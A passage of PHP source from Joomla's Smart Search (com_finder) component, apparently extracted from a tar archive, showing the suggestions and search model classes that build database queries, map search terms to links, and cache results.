class FinderModelSuggestions extends JModelList
{
	/**
	 * Context string for the model type.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $context = 'com_finder.suggestions';

	/**
	 * Method to get an array of data items.
	 *
	 * @return  array  An array of data items.
	 *
	 * @since   2.5
	 */
	public function getItems()
	{
		// Get the items.
		$items = parent::getItems();

		// Convert them to a simple array.
		foreach ($items as $k => $v)
		{
			$items[$k] = $v->term;
		}

		return $items;
	}

	/**
	 * Method to build a database query to load the list data.
	 *
	 * @return  JDatabaseQuery  A database query
	 *
	 * @since   2.5
	 */
	protected function getListQuery()
	{
		$user = JFactory::getUser();
		$groups = \Joomla\Utilities\ArrayHelper::toInteger($user->getAuthorisedViewLevels());

		// Create a new query object.
		$db = $this->getDbo();
		$termIdQuery = $db->getQuery(true);
		$termQuery = $db->getQuery(true);

		// Limit term count to a reasonable number of results to reduce main query join size
		$termIdQuery->select('ti.term_id')
			->from($db->quoteName('#__finder_terms', 'ti'))
			->where('ti.term LIKE ' . $db->quote($db->escape(StringHelper::strtolower($this->getState('input')), true) . '%', false))
			->where('ti.common = 0')
			->where('ti.language IN (' . $db->quote($this->getState('language')) . ', ' . $db->quote('*') . ')')
			->order('ti.links DESC')
			->order('ti.weight DESC');

		$termIds = $db->setQuery($termIdQuery, 0, 100)->loadColumn();

		// Early return on term mismatch
		if (!count($termIds))
		{
			return $termIdQuery;
		}

		$termIdString = implode(',', $termIds);

		// Select required fields
		$termQuery->select('DISTINCT(t.term)')
			->select('t.links')
			->select('t.weight')
			->from($db->quoteName('#__finder_terms') . ' AS t')
			->where('t.term_id IN (' . $termIdString . ')')
			->order('t.links DESC')
			->order('t.weight DESC');

		// Determine the relevant mapping table suffix by inverting the logic from drivers
		$mappingTableSuffix = StringHelper::substr(md5(StringHelper::substr(StringHelper::strtolower($this->getState('input')), 0, 1)), 0, 1);

		// Join mapping table for term <-> link relation
		$mappingTable = $db->quoteName('#__finder_links_terms' . $mappingTableSuffix);
		$termQuery->join('INNER', $mappingTable . ' AS tm ON tm.term_id = t.term_id');

		// Join links table
		$termQuery->join('INNER', $db->quoteName('#__finder_links') . ' AS l ON (tm.link_id = l.link_id)')
			->where('l.access IN (' . implode(',', $groups) . ')')
			->where('l.state = 1')
			->where('l.published = 1');

		return $termQuery;
	}

	/**
	 * Method to get a store id based on model the configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  An identifier string to generate the store id. [optional]
	 *
	 * @return  string  A store id.
	 *
	 * @since   2.5
	 */
	protected function getStoreId($id = '')
	{
		// Add the search query state.
		$id .= ':' . $this->getState('input');
		$id .= ':' . $this->getState('language');

		// Add the list state.
		$id .= ':' . $this->getState('list.start');
		$id .= ':' . $this->getState('list.limit');

		return parent::getStoreId($id);
	}

	/**
	 * Method to auto-populate the model state.  Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	protected function populateState($ordering = null, $direction = null)
	{
		// Get the configuration options.
		$app = JFactory::getApplication();
		$input = $app->input;
		$params = JComponentHelper::getParams('com_finder');
		$user = JFactory::getUser();

		// Get the query input.
		$this->setState('input', $input->request->get('q', '', 'string'));

		// Set the query language
		if (JLanguageMultilang::isEnabled())
		{
			$lang = JFactory::getLanguage()->getTag();
		}
		else
		{
			$lang = FinderIndexerHelper::getDefaultLanguage();
		}

		$lang = FinderIndexerHelper::getPrimaryLanguage($lang);
		$this->setState('language', $lang);

		// Load the list state.
		$this->setState('list.start', 0);
		$this->setState('list.limit', 10);

		// Load the parameters.
		$this->setState('params', $params);

		// Load the user state.
		$this->setState('user.id', (int) $user->get('id'));
	}
}
com_finder/models/search.php000060400000102615152453734460012130 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

// Register dependent classes.
define('FINDER_PATH_INDEXER', JPATH_ADMINISTRATOR . '/components/com_finder/helpers/indexer');
JLoader::register('FinderIndexerHelper', FINDER_PATH_INDEXER . '/helper.php');
JLoader::register('FinderIndexerQuery', FINDER_PATH_INDEXER . '/query.php');
JLoader::register('FinderIndexerResult', FINDER_PATH_INDEXER . '/result.php');
JLoader::register('FinderIndexerStemmer', FINDER_PATH_INDEXER . '/stemmer.php');

/**
 * Search model class for the Finder package.
 *
 * @since  2.5
 */
class FinderModelSearch extends JModelList
{
	/**
	 * Context string for the model type
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $context = 'com_finder.search';

	/**
	 * The query object is an instance of FinderIndexerQuery which contains and
	 * models the entire search query including the text input; static and
	 * dynamic taxonomy filters; date filters; etc.
	 *
	 * @var    FinderIndexerQuery
	 * @since  2.5
	 */
	protected $query;

	/**
	 * An array of all excluded terms ids.
	 *
	 * @var    array
	 * @since  2.5
	 */
	protected $excludedTerms = array();

	/**
	 * An array of all included terms ids.
	 *
	 * @var    array
	 * @since  2.5
	 */
	protected $includedTerms = array();

	/**
	 * An array of all required terms ids.
	 *
	 * @var    array
	 * @since  2.5
	 */
	protected $requiredTerms = array();

	/**
	 * Method to get the results of the query.
	 *
	 * @return  array  An array of FinderIndexerResult objects.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public function getResults()
	{
		// Check if the search query is valid.
		if (empty($this->query->search))
		{
			return null;
		}

		// Check if we should return results.
		if (empty($this->includedTerms) && (empty($this->query->filters) || !$this->query->empty))
		{
			return null;
		}

		// Get the store id.
		$store = $this->getStoreId('getResults');

		// Use the cached data if possible.
		if ($this->retrieve($store))
		{
			return $this->retrieve($store);
		}

		// Get the row data.
		$items = $this->getResultsData();

		// Check the data.
		if (empty($items))
		{
			return null;
		}

		// Create the query to get the search results.
		$db = $this->getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('link_id') . ', ' . $db->quoteName('object'))
			->from($db->quoteName('#__finder_links'))
			->where($db->quoteName('link_id') . ' IN (' . implode(',', array_keys($items)) . ')');

		// Load the results from the database.
		$db->setQuery($query);
		$rows = $db->loadObjectList('link_id');

		// Set up our results container.
		$results = $items;

		// Convert the rows to result objects.
		foreach ($rows as $rk => $row)
		{
			// Build the result object.
			if (is_resource($row->object))
			{
				$object = pg_unescape_bytea(stream_get_contents($row->object));
				$result = unserialize(str_replace("''", "'", $object));
			}
			else
			{
				$result = unserialize($row->object);
			}

			$result->weight = $results[$rk];
			$result->link_id = $rk;

			// Add the result back to the stack.
			$results[$rk] = $result;
		}

		// Switch to a non-associative array.
		$results = array_values($results);

		// Push the results into cache.
		$this->store($store, $results);

		// Return the results.
		return $this->retrieve($store);
	}

	/**
	 * Method to get the total number of results.
	 *
	 * @return  integer  The total number of results.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public function getTotal()
	{
		// Check if the search query is valid.
		if (empty($this->query->search))
		{
			return null;
		}

		// Check if we should return results.
		if (empty($this->includedTerms) && (empty($this->query->filters) || !$this->query->empty))
		{
			return null;
		}

		// Get the store id.
		$store = $this->getStoreId('getTotal');

		// Use the cached data if possible.
		if ($this->retrieve($store))
		{
			return $this->retrieve($store);
		}

		// Get the results total.
		$total = $this->getResultsTotal();

		// Push the total into cache.
		$this->store($store, $total);

		// Return the total.
		return $this->retrieve($store);
	}

	/**
	 * Method to get the query object.
	 *
	 * @return  FinderIndexerQuery  A query object.
	 *
	 * @since   2.5
	 */
	public function getQuery()
	{
		// Return the query object.
		return $this->query;
	}

	/**
	 * Method to build a database query to load the list data.
	 *
	 * @return  JDatabaseQuery  A database query.
	 *
	 * @since   2.5
	 */
	protected function getListQuery()
	{
		// Get the store id.
		$store = $this->getStoreId('getListQuery');

		// Use the cached data if possible.
		if ($this->retrieve($store, false))
		{
			return clone $this->retrieve($store, false);
		}

		// Set variables
		$user = JFactory::getUser();
		$groups = implode(',', $user->getAuthorisedViewLevels());

		// Create a new query object.
		$db = $this->getDbo();
		$query = $db->getQuery(true)
			->select('l.link_id')
			->from($db->quoteName('#__finder_links') . ' AS l')
			->where('l.access IN (' . $groups . ')')
			->where('l.state = 1')
			->where('l.published = 1');

		// Get the null date and the current date, minus seconds.
		$nullDate = $db->quote($db->getNullDate());
		$nowDate = $db->quote(substr_replace(JFactory::getDate()->toSql(), '00', -2));

		// Add the publish up and publish down filters.
		$query->where('(l.publish_start_date = ' . $nullDate . ' OR l.publish_start_date <= ' . $nowDate . ')')
			->where('(l.publish_end_date = ' . $nullDate . ' OR l.publish_end_date >= ' . $nowDate . ')');

		/*
		 * Add the taxonomy filters to the query. We have to join the taxonomy
		 * map table for each group so that we can use AND clauses across
		 * groups. Within each group there can be an array of values that will
		 * use OR clauses.
		 */
		if (!empty($this->query->filters))
		{
			// Convert the associative array to a numerically indexed array.
			$groups = array_values($this->query->filters);

			// Iterate through each taxonomy group and add the join and where.
			for ($i = 0, $c = count($groups); $i < $c; $i++)
			{
				// We use the offset because each join needs a unique alias.
				$query->join('INNER', $db->quoteName('#__finder_taxonomy_map') . ' AS t' . $i . ' ON t' . $i . '.link_id = l.link_id')
					->where('t' . $i . '.node_id IN (' . implode(',', $groups[$i]) . ')');
			}
		}

		// Add the start date filter to the query.
		if (!empty($this->query->date1))
		{
			// Escape the date.
			$date1 = $db->quote($this->query->date1);

			// Add the appropriate WHERE condition.
			if ($this->query->when1 === 'before')
			{
				$query->where($db->quoteName('l.start_date') . ' <= ' . $date1);
			}
			elseif ($this->query->when1 === 'after')
			{
				$query->where($db->quoteName('l.start_date') . ' >= ' . $date1);
			}
			else
			{
				$query->where($db->quoteName('l.start_date') . ' = ' . $date1);
			}
		}

		// Add the end date filter to the query.
		if (!empty($this->query->date2))
		{
			// Escape the date.
			$date2 = $db->quote($this->query->date2);

			// Add the appropriate WHERE condition.
			if ($this->query->when2 === 'before')
			{
				$query->where($db->quoteName('l.start_date') . ' <= ' . $date2);
			}
			elseif ($this->query->when2 === 'after')
			{
				$query->where($db->quoteName('l.start_date') . ' >= ' . $date2);
			}
			else
			{
				$query->where($db->quoteName('l.start_date') . ' = ' . $date2);
			}
		}

		// Filter by language
		if ($this->getState('filter.language'))
		{
			$query->where('l.language IN (' . $db->quote(JFactory::getLanguage()->getTag()) . ', ' . $db->quote('*') . ')');
		}

		// Push the data into cache.
		$this->store($store, $query, false);

		// Return a copy of the query object.
		return clone $this->retrieve($store, false);
	}

	/**
	 * Method to get the total number of results for the search query.
	 *
	 * @return  integer  The results total.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function getResultsTotal()
	{
		// Get the store id.
		$store = $this->getStoreId('getResultsTotal', false);

		// Use the cached data if possible.
		if ($this->retrieve($store))
		{
			return $this->retrieve($store);
		}

		// Get the base query and add the ordering information.
		$base = $this->getListQuery();
		$base->select('0 AS ordering');

		// Get the maximum number of results.
		$limit = (int) $this->getState('match.limit');

		/*
		 * If there are no optional or required search terms in the query,
		 * we can get the result total in one relatively simple database query.
		 */
		if (empty($this->includedTerms))
		{
			// Adjust the query to join on the appropriate mapping table.
			$query = clone $base;
			$query->clear('select')
				->select('COUNT(DISTINCT l.link_id)');

			// Get the total from the database.
			$this->_db->setQuery($query);
			$total = $this->_db->loadResult();

			// Push the total into cache.
			$this->store($store, min($total, $limit));

			// Return the total.
			return $this->retrieve($store);
		}

		/*
		 * If there are optional or required search terms in the query, the
		 * process of getting the result total is more complicated.
		 */
		$start = 0;
		$items = array();
		$sorted = array();
		$maps = array();
		$excluded = $this->getExcludedLinkIds();

		/*
		 * Iterate through the included search terms and group them by mapping
		 * table suffix. This ensures that we never have to do more than 16
		 * queries to get a batch. This may seem like a lot but it is rarely
		 * anywhere near 16 because of the improved mapping algorithm.
		 */
		foreach ($this->includedTerms as $token => $ids)
		{
			// Get the mapping table suffix.
			$suffix = StringHelper::substr(md5(StringHelper::substr($token, 0, 1)), 0, 1);

			// Initialize the mapping group.
			if (!array_key_exists($suffix, $maps))
			{
				$maps[$suffix] = array();
			}

			// Add the terms to the mapping group.
			$maps[$suffix] = array_merge($maps[$suffix], $ids);
		}

		/*
		 * When the query contains search terms we need to find and process the
		 * result total iteratively using a do-while loop.
		 */
		do
		{
			// Create a container for the fetched results.
			$results = array();
			$more = false;

			/*
			 * Iterate through the mapping groups and load the total from each
			 * mapping table.
			 */
			foreach ($maps as $suffix => $ids)
			{
				// Create a storage key for this set.
				$setId = $this->getStoreId('getResultsTotal:' . serialize(array_values($ids)) . ':' . $start . ':' . $limit);

				// Use the cached data if possible.
				if ($this->retrieve($setId))
				{
					$temp = $this->retrieve($setId);
				}
				// Load the data from the database.
				else
				{
					// Adjust the query to join on the appropriate mapping table.
					$query = clone $base;
					$query->join('INNER', '#__finder_links_terms' . $suffix . ' AS m ON m.link_id = l.link_id')
						->where('m.term_id IN (' . implode(',', $ids) . ')');

					// Load the results from the database.
					$this->_db->setQuery($query, $start, $limit);
					$temp = $this->_db->loadObjectList();

					// Set the more flag to true if any of the sets equal the limit.
					$more = count($temp) === $limit;

					// We loaded the data unkeyed but we need it to be keyed for later.
					$junk = $temp;
					$temp = array();

					// Convert to an associative array.
					for ($i = 0, $c = count($junk); $i < $c; $i++)
					{
						$temp[$junk[$i]->link_id] = $junk[$i];
					}

					// Store this set in cache.
					$this->store($setId, $temp);
				}

				// Merge the results.
				$results = array_merge($results, $temp);
			}

			// Check if there are any excluded terms to deal with.
			if (count($excluded))
			{
				// Remove any results that match excluded terms.
				for ($i = 0, $c = count($results); $i < $c; $i++)
				{
					if (in_array($results[$i]->link_id, $excluded))
					{
						unset($results[$i]);
					}
				}

				// Reset the array keys.
				$results = array_values($results);
			}

			// Iterate through the set to extract the unique items.
			for ($i = 0, $c = count($results); $i < $c; $i++)
			{
				if (!isset($sorted[$results[$i]->link_id]))
				{
					$sorted[$results[$i]->link_id] = $results[$i]->ordering;
				}
			}

			/*
			 * If the query contains just optional search terms and we have
			 * enough items for the page, we can stop here.
			 */
			if (empty($this->requiredTerms))
			{
				// If we need more items and they're available, make another pass.
				if ($more && count($sorted) < $limit)
				{
					// Increment the batch starting point and continue.
					$start += $limit;
					continue;
				}

				// Push the total into cache.
				$this->store($store, min(count($sorted), $limit));

				// Return the total.
				return $this->retrieve($store);
			}

			/*
			 * The query contains required search terms so we have to iterate
			 * over the items and remove any items that do not match all of the
			 * required search terms. This is one of the most expensive steps
			 * because a required token could theoretically eliminate all of
			 * current terms which means we would have to loop through all of
			 * the possibilities.
			 */
			foreach ($this->requiredTerms as $token => $required)
			{
				// Create a storage key for this set.
				$setId = $this->getStoreId('getResultsTotal:required:' . serialize(array_values($required)) . ':' . $start . ':' . $limit);

				// Use the cached data if possible.
				if ($this->retrieve($setId))
				{
					$reqTemp = $this->retrieve($setId);
				}
					// Check if the token was matched.
				elseif (empty($required))
				{
					return null;
				}
					// Load the data from the database.
				else
				{
					// Setup containers in case we have to make multiple passes.
					$reqStart = 0;
					$reqTemp = array();

					do
					{
						// Get the map table suffix.
						$suffix = StringHelper::substr(md5(StringHelper::substr($token, 0, 1)), 0, 1);

						// Adjust the query to join on the appropriate mapping table.
						$query = clone $base;
						$query->join('INNER', '#__finder_links_terms' . $suffix . ' AS m ON m.link_id = l.link_id')
							->where('m.term_id IN (' . implode(',', $required) . ')');

						// Load the results from the database.
						$this->_db->setQuery($query, $reqStart, $limit);
						$temp = $this->_db->loadObjectList('link_id');

						// Set the required token more flag to true if the set equal the limit.
						$reqMore = count($temp) === $limit;

						// Merge the matching set for this token.
						$reqTemp += $temp;

						// Increment the term offset.
						$reqStart += $limit;
					}
					while ($reqMore === true);

					// Store this set in cache.
					$this->store($setId, $reqTemp);
				}

				// Remove any items that do not match the required term.
				$sorted = array_intersect_key($sorted, $reqTemp);
			}

			// If we need more items and they're available, make another pass.
			if ($more && count($sorted) < $limit)
			{
				// Increment the batch starting point.
				$start += $limit;

				// Merge the found items.
				$items += $sorted;

				continue;
			}

			// Otherwise, end the loop.
			{
				// Merge the found items.
				$items += $sorted;

				$more = false;
			}
			// End do-while loop.
		}
		while ($more === true);

		// Set the total.
		$total = count($items);
		$total = min($total, $limit);

		// Push the total into cache.
		$this->store($store, $total);

		// Return the total.
		return $this->retrieve($store);
	}

	/**
	 * Method to get the results for the search query.
	 *
	 * @return  array  An array of result data objects.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function getResultsData()
	{
		// Get the store id.
		$store = $this->getStoreId('getResultsData', false);

		// Use the cached data if possible.
		if ($this->retrieve($store))
		{
			return $this->retrieve($store);
		}

		// Get the result ordering and direction.
		$ordering = $this->getState('list.ordering', 'l.start_date');
		$direction = $this->getState('list.direction', 'DESC');

		// Get the base query and add the ordering information.
		$base = $this->getListQuery();
		$base->select($this->_db->escape($ordering) . ' AS ordering');
		$base->order($this->_db->escape($ordering) . ' ' . $this->_db->escape($direction));

		/*
		 * If there are no optional or required search terms in the query, we
		 * can get the results in one relatively simple database query.
		 */
		if (empty($this->includedTerms))
		{
			// Get the results from the database.
			$this->_db->setQuery($base, (int) $this->getState('list.start'), (int) $this->getState('list.limit'));
			$return = $this->_db->loadObjectList('link_id');

			// Get a new store id because this data is page specific.
			$store = $this->getStoreId('getResultsData', true);

			// Push the results into cache.
			$this->store($store, $return);

			// Return the results.
			return $this->retrieve($store);
		}

		/*
		 * If there are optional or required search terms in the query, the
		 * process of getting the results is more complicated.
		 */
		$start = 0;
		$limit = (int) $this->getState('match.limit');
		$items = array();
		$sorted = array();
		$maps = array();
		$excluded = $this->getExcludedLinkIds();

		/*
		 * Iterate through the included search terms and group them by mapping
		 * table suffix. This ensures that we never have to do more than 16
		 * queries to get a batch. This may seem like a lot but it is rarely
		 * anywhere near 16 because of the improved mapping algorithm.
		 */
		foreach ($this->includedTerms as $token => $ids)
		{
			// Get the mapping table suffix.
			$suffix = StringHelper::substr(md5(StringHelper::substr($token, 0, 1)), 0, 1);

			// Initialize the mapping group.
			if (!array_key_exists($suffix, $maps))
			{
				$maps[$suffix] = array();
			}

			// Add the terms to the mapping group.
			$maps[$suffix] = array_merge($maps[$suffix], $ids);
		}

		/*
		 * When the query contains search terms we need to find and process the
		 * results iteratively using a do-while loop.
		 */
		do
		{
			// Create a container for the fetched results.
			$results = array();
			$more = false;

			/*
			 * Iterate through the mapping groups and load the results from each
			 * mapping table.
			 */
			foreach ($maps as $suffix => $ids)
			{
				// Create a storage key for this set.
				$setId = $this->getStoreId('getResultsData:' . serialize(array_values($ids)) . ':' . $start . ':' . $limit);

				// Use the cached data if possible.
				if ($this->retrieve($setId))
				{
					$temp = $this->retrieve($setId);
				}
				// Load the data from the database.
				else
				{
					// Adjust the query to join on the appropriate mapping table.
					$query = clone $base;
					$query->join('INNER', $this->_db->quoteName('#__finder_links_terms' . $suffix) . ' AS m ON m.link_id = l.link_id')
						->where('m.term_id IN (' . implode(',', $ids) . ')');

					// Load the results from the database.
					$this->_db->setQuery($query, $start, $limit);
					$temp = $this->_db->loadObjectList('link_id');

					// Store this set in cache.
					$this->store($setId, $temp);

					// The data is keyed by link_id to ease caching, we don't need it till later.
					$temp = array_values($temp);
				}

				// Set the more flag to true if any of the sets equal the limit.
				$more = count($temp) === $limit;

				// Merge the results.
				$results = array_merge($results, $temp);
			}

			// Check if there are any excluded terms to deal with.
			if (count($excluded))
			{
				// Remove any results that match excluded terms.
				for ($i = 0, $c = count($results); $i < $c; $i++)
				{
					if (in_array($results[$i]->link_id, $excluded))
					{
						unset($results[$i]);
					}
				}

				// Reset the array keys.
				$results = array_values($results);
			}

			/*
			 * If we are ordering by relevance we have to add up the relevance
			 * scores that are contained in the ordering field.
			 */
			if ($ordering === 'm.weight')
			{
				// Iterate through the set to extract the unique items.
				for ($i = 0, $c = count($results); $i < $c; $i++)
				{
					// Add the total weights for all included search terms.
					if (isset($sorted[$results[$i]->link_id]))
					{
						$sorted[$results[$i]->link_id] += (float) $results[$i]->ordering;
					}
					else
					{
						$sorted[$results[$i]->link_id] = (float) $results[$i]->ordering;
					}
				}
			}
			/*
			 * If we are ordering by start date we have to add convert the
			 * dates to unix timestamps.
			 */
			elseif ($ordering === 'l.start_date')
			{
				// Iterate through the set to extract the unique items.
				for ($i = 0, $c = count($results); $i < $c; $i++)
				{
					if (!isset($sorted[$results[$i]->link_id]))
					{
						$sorted[$results[$i]->link_id] = strtotime($results[$i]->ordering);
					}
				}
			}
			/*
			 * If we are not ordering by relevance or date, we just have to add
			 * the unique items to the set.
			 */
			else
			{
				// Iterate through the set to extract the unique items.
				for ($i = 0, $c = count($results); $i < $c; $i++)
				{
					if (!isset($sorted[$results[$i]->link_id]))
					{
						$sorted[$results[$i]->link_id] = $results[$i]->ordering;
					}
				}
			}

			// Sort the results.
			natcasesort($items);

			if ($direction === 'DESC')
			{
				$items = array_reverse($items, true);
			}

			/*
			 * If the query contains just optional search terms and we have
			 * enough items for the page, we can stop here.
			 */
			if (empty($this->requiredTerms))
			{
				// If we need more items and they're available, make another pass.
				if ($more && count($sorted) < ($this->getState('list.start') + $this->getState('list.limit')))
				{
					// Increment the batch starting point and continue.
					$start += $limit;
					continue;
				}

				// Push the results into cache.
				$this->store($store, $sorted);

				// Return the requested set.
				return array_slice($this->retrieve($store), (int) $this->getState('list.start'), (int) $this->getState('list.limit'), true);
			}

			/*
			 * The query contains required search terms so we have to iterate
			 * over the items and remove any items that do not match all of the
			 * required search terms. This is one of the most expensive steps
			 * because a required token could theoretically eliminate all of
			 * current terms which means we would have to loop through all of
			 * the possibilities.
			 */
			foreach ($this->requiredTerms as $token => $required)
			{
				// Create a storage key for this set.
				$setId = $this->getStoreId('getResultsData:required:' . serialize(array_values($required)) . ':' . $start . ':' . $limit);

				// Use the cached data if possible.
				if ($this->retrieve($setId))
				{
					$reqTemp = $this->retrieve($setId);
				}
				// Check if the token was matched.
				elseif (empty($required))
				{
					return null;
				}
				// Load the data from the database.
				else
				{
					// Setup containers in case we have to make multiple passes.
					$reqStart = 0;
					$reqTemp = array();

					do
					{
						// Get the map table suffix.
						$suffix = StringHelper::substr(md5(StringHelper::substr($token, 0, 1)), 0, 1);

						// Adjust the query to join on the appropriate mapping table.
						$query = clone $base;
						$query->join('INNER', $this->_db->quoteName('#__finder_links_terms' . $suffix) . ' AS m ON m.link_id = l.link_id')
							->where('m.term_id IN (' . implode(',', $required) . ')');

						// Load the results from the database.
						$this->_db->setQuery($query, $reqStart, $limit);
						$temp = $this->_db->loadObjectList('link_id');

						// Set the required token more flag to true if the set equal the limit.
						$reqMore = count($temp) === $limit;

						// Merge the matching set for this token.
						$reqTemp += $temp;

						// Increment the term offset.
						$reqStart += $limit;
					}
					while ($reqMore === true);

					// Store this set in cache.
					$this->store($setId, $reqTemp);
				}

				// Remove any items that do not match the required term.
				$sorted = array_intersect_key($sorted, $reqTemp);
			}

			// If we need more items and they're available, make another pass.
			if ($more && count($sorted) < ($this->getState('list.start') + $this->getState('list.limit')))
			{
				// Increment the batch starting point.
				$start += $limit;

				// Merge the found items.
				$items = array_merge($items, $sorted);

				continue;
			}
			// Otherwise, end the loop.
			else
			{
				// Set the found items.
				$items = $sorted;

				$more = false;
			}

			// End do-while loop.
		}
		while ($more === true);

		// Push the results into cache.
		$this->store($store, $items);

		// Return the requested set.
		return array_slice($this->retrieve($store), (int) $this->getState('list.start'), (int) $this->getState('list.limit'), true);
	}

	/**
	 * Method to get an array of link ids that match excluded terms.
	 *
	 * @return  array  An array of links ids.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function getExcludedLinkIds()
	{
		// Check if the search query has excluded terms.
		if (empty($this->excludedTerms))
		{
			return array();
		}

		// Get the store id.
		$store = $this->getStoreId('getExcludedLinkIds', false);

		// Use the cached data if possible.
		if ($this->retrieve($store))
		{
			return $this->retrieve($store);
		}

		// Initialize containers.
		$links = array();
		$maps = array();

		/*
		 * Iterate through the excluded search terms and group them by mapping
		 * table suffix. This ensures that we never have to do more than 16
		 * queries to get a batch. This may seem like a lot but it is rarely
		 * anywhere near 16 because of the improved mapping algorithm.
		 */
		foreach ($this->excludedTerms as $token => $id)
		{
			// Get the mapping table suffix.
			$suffix = StringHelper::substr(md5(StringHelper::substr($token, 0, 1)), 0, 1);

			// Initialize the mapping group.
			if (!array_key_exists($suffix, $maps))
			{
				$maps[$suffix] = array();
			}

			// Add the terms to the mapping group.
			$maps[$suffix][] = (int) $id;
		}

		/*
		 * Iterate through the mapping groups and load the excluded links ids
		 * from each mapping table.
		 */

		// Create a new query object.
		$db = $this->getDbo();
		$query = $db->getQuery(true);

		foreach ($maps as $suffix => $ids)
		{
			// Create the query to get the links ids.
			$query->clear()
				->select('link_id')
				->from($db->quoteName('#__finder_links_terms' . $suffix))
				->where($db->quoteName('term_id') . ' IN (' . implode(',', $ids) . ')')
				->group($db->quoteName('link_id'));

			// Load the link ids from the database.
			$db->setQuery($query);
			$temp = $db->loadColumn();

			// Merge the link ids.
			$links = array_merge($links, $temp);
		}

		// Sanitize the link ids.
		$links = array_unique($links);
		$links = ArrayHelper::toInteger($links);

		// Push the link ids into cache.
		$this->store($store, $links);

		return $links;
	}

	/**
	 * Method to get a store id based on model the configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string   $id    An identifier string to generate the store id. [optional]
	 * @param   boolean  $page  True to store the data paged, false to store all data. [optional]
	 *
	 * @return  string  A store id.
	 *
	 * @since   2.5
	 */
	protected function getStoreId($id = '', $page = true)
	{
		// Get the query object.
		$query = $this->getQuery();

		// Add the search query state.
		$id .= ':' . $query->input;
		$id .= ':' . $query->language;
		$id .= ':' . $query->filter;
		$id .= ':' . serialize($query->filters);
		$id .= ':' . $query->date1;
		$id .= ':' . $query->date2;
		$id .= ':' . $query->when1;
		$id .= ':' . $query->when2;

		if ($page)
		{
			// Add the list state for page specific data.
			$id .= ':' . $this->getState('list.start');
			$id .= ':' . $this->getState('list.limit');
			$id .= ':' . $this->getState('list.ordering');
			$id .= ':' . $this->getState('list.direction');
		}

		return parent::getStoreId($id);
	}

	/**
	 * Method to auto-populate the model state.  Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field. [optional]
	 * @param   string  $direction  An optional direction. [optional]
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	protected function populateState($ordering = null, $direction = null)
	{
		// Get the configuration options.
		$app = JFactory::getApplication();
		$input = $app->input;
		$params = $app->getParams();
		$user = JFactory::getUser();

		$this->setState('filter.language', JLanguageMultilang::isEnabled());

		// Setup the stemmer.
		if ($params->get('stem', 1) && $params->get('stemmer', 'porter_en'))
		{
			FinderIndexerHelper::$stemmer = FinderIndexerStemmer::getInstance($params->get('stemmer', 'porter_en'));
		}

		$request = $input->request;
		$options = array();

		// Get the empty query setting.
		$options['empty'] = $params->get('allow_empty_query', 0);

		// Get the static taxonomy filters.
		$options['filter'] = $request->getInt('f', $params->get('f', ''));

		// Get the dynamic taxonomy filters.
		$options['filters'] = $request->get('t', $params->get('t', array()), '', 'array');

		// Get the query string.
		$options['input'] = $request->getString('q', $params->get('q', ''));

		// Get the query language.
		$options['language'] = $request->getCmd('l', $params->get('l', ''));

		// Get the start date and start date modifier filters.
		$options['date1'] = $request->getString('d1', $params->get('d1', ''));
		$options['when1'] = $request->getString('w1', $params->get('w1', ''));

		// Get the end date and end date modifier filters.
		$options['date2'] = $request->getString('d2', $params->get('d2', ''));
		$options['when2'] = $request->getString('w2', $params->get('w2', ''));

		// Load the query object.
		$this->query = new FinderIndexerQuery($options);

		// Load the query token data.
		$this->excludedTerms = $this->query->getExcludedTermIds();
		$this->includedTerms = $this->query->getIncludedTermIds();
		$this->requiredTerms = $this->query->getRequiredTermIds();

		// Load the list state.
		$this->setState('list.start', $input->get('limitstart', 0, 'uint'));
		$this->setState('list.limit', $input->get('limit', $app->get('list_limit', 20), 'uint'));

		/**
		 * Load the sort ordering.
		 * Currently this is 'hard' coded via menu item parameter but may not satisfy a users need.
		 * More flexibility was way more user friendly. So we allow the user to pass a custom value
		 * from the pool of fields that are indexed like the 'title' field.
		 * Also, we allow this parameter to be passed in either case (lower/upper).
		 */
		$order = $input->getWord('filter_order', $params->get('sort_order', 'relevance'));
		$order = StringHelper::strtolower($order);

		switch ($order)
		{
			case 'date':
				$this->setState('list.ordering', 'l.start_date');
				break;

			case 'price':
				$this->setState('list.ordering', 'l.list_price');
				break;

			case ($order === 'relevance' && !empty($this->includedTerms)) :
				$this->setState('list.ordering', 'm.weight');
				break;

			// Custom field that is indexed and might be required for ordering
			case 'title':
				$this->setState('list.ordering', 'l.title');
				break;

			default:
				$this->setState('list.ordering', 'l.link_id');
				break;
		}

		/**
		 * Load the sort direction.
		 * Currently this is 'hard' coded via menu item parameter but may not satisfy a users need.
		 * More flexibility was way more user friendly. So we allow to be inverted.
		 * Also, we allow this parameter to be passed in either case (lower/upper).
		 */
		$dirn = $input->getWord('filter_order_Dir', $params->get('sort_direction', 'desc'));
		$dirn = StringHelper::strtolower($dirn);

		switch ($dirn)
		{
			case 'asc':
				$this->setState('list.direction', 'ASC');
				break;

			default:
			case 'desc':
				$this->setState('list.direction', 'DESC');
				break;
		}

		// Set the match limit.
		$this->setState('match.limit', 1000);

		// Load the parameters.
		$this->setState('params', $params);

		// Load the user state.
		$this->setState('user.id', (int) $user->get('id'));
		$this->setState('user.groups', $user->getAuthorisedViewLevels());
	}

	/**
	 * Method to retrieve data from cache.
	 *
